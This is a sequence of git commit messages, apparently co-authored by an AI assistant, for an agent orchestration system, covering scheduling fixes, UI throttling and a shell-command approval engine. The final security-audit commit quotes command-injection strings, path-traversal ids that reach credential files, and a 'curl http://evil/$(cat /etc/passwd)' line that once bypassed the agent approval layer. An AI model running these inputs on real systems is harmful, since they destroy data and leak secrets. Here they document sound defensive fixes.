Work items whose execution kept dying without a durable verdict (crash
mid-dispatch, kill -9, cancel-before-harvest) were re-dispatched forever:
every exit path was responsible for remembering to write a terminal
phase, and any path that forgot left the card RUNNING and eligible again.
Replace that with structural accounting:
- claim CAS opens an attempt in the same UPDATE (attempt_seq+1,
attempt_settled=false) so no dispatch can start unaccounted (store.py)
- transition_work_item becomes the settlement authority: every
non-RUNNING transition settles the open attempt in the same write;
crashed/interrupted outcomes accumulate streaks, clean outcomes reset
them; claim release folds into the same write; settlement still lands
when the phase write loses a race (work_item_transition.py)
- dispatcher refuses cards over the streak limits (crash>=3,
interrupted>=5) in both is_dispatchable and _work_item_is_runnable,
and a per-tick reconcile pass back-fills dead attempts as interrupted
and terminalizes over-limit cards to FAILED with a visible
blocked_reason (dispatch_hold quarantine if even that write fails)
(phase.py, company_mode.py)
- crash exits now settle: cancellation unwind harvests coroutines that
died on a real exception before discarding them, the crashed-item
handler releases the claim and settles as crashed with a quarantine
fallback, and the timeout path settles as crashed (company_mode.py)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Root-cause fix for the project-4444 class of deadlocks: any FAILED/
CANCELLED work item with downstream dependents used to block its whole
tree forever, because the advancement gate required all dependencies to
be APPROVED and nothing ever propagated or triaged failures.
Settlement mechanism (work_item_transition.py):
- compute doomed set (FAILED/CANCELLED seeds contagious through hard
deps); settlement-released cards are treated as alive
- three-way advancement gate: all-approved (unchanged) / settled-with-
failures releases the nearest decision-capable card (manager parent ->
failure-triage synthesis turn, rollup delivery/aggregate -> READY)
with an atomic dependency_settlement stamp; released cards never
oscillate back
- claim/park/resume/dispatcher-tick all honor the stamp: runnable gates
admit settled failed+stuck deps, parking excludes settled deps and
re-arms triage when a failure raced the park, engine resume no longer
re-locks released cards, the dispatcher tick releases rollup cards
created after the failure
- settlement cascade: once the settled card is APPROVED, stuck children
the manager did not rebuild are cancelled (transitive closure over
stamped stuck seeds, retried until every cancel lands)
- info-class deps never block settlement; adaptive runnable gate now
shares DEPENDENCY_CLASS_DEFAULT with the release gates
Dispatch guard (company_mode.py):
- NO_DELEGATION_JUSTIFICATION parsing tolerates markdown decoration
(bold/lists/quotes/full-width colon) and rejects placeholder echoes
across all artifact/metadata/content channels
- retries exhausted no longer FAILs the work item: dispatch is a soft
constraint, so the turn output is accepted as normal completion and
annotated via manager_dispatch_guard_unresolved; the reminder loop is
unchanged, and the mutation flag is now reset per turn so one past
delegation can never mute future reminders
- manager board context now surfaces failed/cancelled children with
their preserved output and pending-cancellation stuck list so the
triage turn can rebuild, accept partial results, or escalate
Self-produced delegation output goes through review (persisted fact,
single predicate):
- the DONE transition classifies what a dispatch/intake/plan turn
actually delivered from store ground truth (live children => delegated,
none => self_produced) and persists turn_output_kind/-source on the
WorkItem
- is_manager_reviewable_turn honors the persisted marker, so the DONE
routing, report spawn, report completion and recovery scans all read
the same fact — this closes a pre-existing hole where
NO_DELEGATION_JUSTIFICATION output auto-approved with no review at all
- escalation requires a real agent manager above; top seats reporting to
the human owner keep auto-approve (covered by final delivery's human
acceptance) instead of minting unclaimable review cards
- dispatcher tick reconciles reviewable cards stuck in
AWAITING_MANAGER_REVIEW with no live report/review card by rebuilding
the report card idempotently (legacy DBs, crash windows)
Verified: 4444 tasks.db replay unwedges end to end; real-store
report->review chain exercised without lifecycle mocks (mutation check
confirms the tests bite); full suite failure set identical to a
same-session HEAD baseline run (all remaining failures pre-existing or
environment flakes reproduced at HEAD).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Company-mode UIs became unusably slow once work items and transcripts
grew. Three presentation-layer fixes, none touching work progression:
- App.tsx: buffer assistant_delta/thinking_delta store writes per task
and flush every 80ms instead of once per token; any non-delta event
for the same task flushes first so draft/clearDraft ordering is
byte-identical. The unconditional per-event setUiTick (whole-app
re-render per websocket event) is now a 300ms trailing throttle.
- PhaserGame: display:none does not stop requestAnimationFrame, so the
office scene kept burning CPU on every other page. The loop now
sleeps when the office page is hidden and wakes (with a parent-bounds
refresh) on return; bridge writes stay synchronous so no state is lost.
- Kanban collab_sync debounce 0.2s -> 1.5s: the broadcaster is a
trailing coalescer, so the final board state still always ships; each
fire is a full-project snapshot build, which at 5/s dominated backend
CPU on large projects. CommsPanel poll 8s -> 30s (comms_state_dirty
push already drives freshness) and its interval no longer pins a
stale onRefresh closure.
Verified: tsc + vite build, App.test.tsx / workItemSessions structural
tests, backend suites (company_review_flow incl. debounce push test,
kanban_push_runtime, actor_runtime_company_mode, task_mode_contract,
work_item_transition — 119 green), and canvas_smoke e2e against a real
server with zero console errors.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Four coordinated fixes for company runs permanently stalling around
tool-approval parks (project 1111 forensics + live reproduction):
- company executor dispatch loop now exits convergently when nothing is
in flight and every remaining task waits on a human: immediate parked
exit when all waiters have pending checkpoints, bounded stall ticks
otherwise. Previously it polled sleep(5) forever, hanging the turn
(observed 7.5h), never answering the user, and holding claims that
blocked any later rescue turn.
- _resume_task_checkpoint routes work-item runtime tasks through the
delegation state machine: release the human wait via the legal
AWAITING_HUMAN -> READY recovery exit, clear stale claims, and hand
the item back to the dispatcher (runtime-snapshot fallback when the
checkpoint payload lacks a plan) instead of a detached single-agent
re-run that never advances the work item phase.
- startup recovery reverse self-heal: an awaiting_human task whose park
checkpoint was already resolved (human answered, resume cut off before
the phase write) is reopened for dispatch instead of being preserved
as a wait nobody can end. Runs before the metadata-plan gate since
modern runs no longer carry the plan in task metadata.
- pause checkpoints record execution_mode from the durable
work_item_runtime marker instead of volatile task metadata, which
degraded to task_mode after a first resume and misrouted the next one.
Validated end-to-end on a live native-agent minimal-org run
(park -> approve -> re-park -> approve -> complete -> deliver, plus
synthesized crash-between-resolve-and-phase-write healed on restart).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Every completed company session's follow-up was answered with the canned
"Legacy company runtime run ... read-only" text (project 000, 2026-07-07).
Root cause: snapshot loaders read task.metadata work_item_runtime_plan as a
serialized run-level CompanyWorkItemRuntimePlan, but work-item tasks persist a
per-item assignment spec (projection_id/turn_type/summary/deliverables/...)
under that key. from_dict on the wrong shape silently yields an empty plan
(no projections, empty metadata), _runtime_uses_multi_team_org returns False,
and the resume path falls through to the legacy read-only branch.
Add is_serialized_company_work_item_runtime_plan (a run-level plan always
serializes with projections + runtime_model; a spec always carries
projection_id) and route all full-plan metadata reads through
serialized_company_plan_from_metadata, which skips wrong-shaped candidates so
the loaders fall back to the sample-metadata-constructed plan instead of an
empty one. Fixes existing DBs read-side; no data migration.
Verified: old path on the 000 shape classifies multi_team_org=False, new path
True; regression tests cover shape discrimination, snapshot classification,
and the follow-up never reporting legacy.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval friction (harmless commands kept prompting):
- Persist "Allow for this session" grants to approval_allowlist.yaml under a
new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui`
restarts and re-entering the session instead of living only in memory.
- Safe-prefix matching now accepts compound read-only commands: every segment
must match a safe prefix, and fd-duplication / /dev/null redirections
(2>&1, 2>/dev/null) no longer disqualify a command; real write redirections
(>, >>, <) still do. Default safe prefixes gain common read-only commands
(cd, cat, head, grep, git log, ...).
- First-use approval now gates only MEDIUM+ risk; heuristically LOW actions
proceed without a card.
- Shell-substitution detection flags eval/source only at command position of a
segment (no more false positives on `grep source file`); $(...) and
backticks still flag anywhere.
Approval card timeout redesign (deferred decisions):
- The card's structured approval context (action, allowlist patterns, scopes)
now travels through the escalation event into the persisted card metadata.
- Timeout without a default action no longer marks the card timed out, and the
session-detail reconciler no longer stales deferred-capable cards: the card
stays pending and clickable indefinitely, including across restarts.
- Clicking after the inline wait expired applies the allowlist grant
(approve-once grants the exact command at session scope), resolves the card,
and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the
task resumes through the normal message pipeline and the retried command
auto-approves. With no parked checkpoint the grant still lands and a helper
reply explains the state.
Verified: approval engine suite (40) incl. new deferred-decision and
compound-command tests, ws_handler + runtime suites green, real escalated
commands from project 999 replayed against the user's config now auto-approve
while pip install / $(...) / rm -rf / write redirects still prompt.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>
LZH-YS1998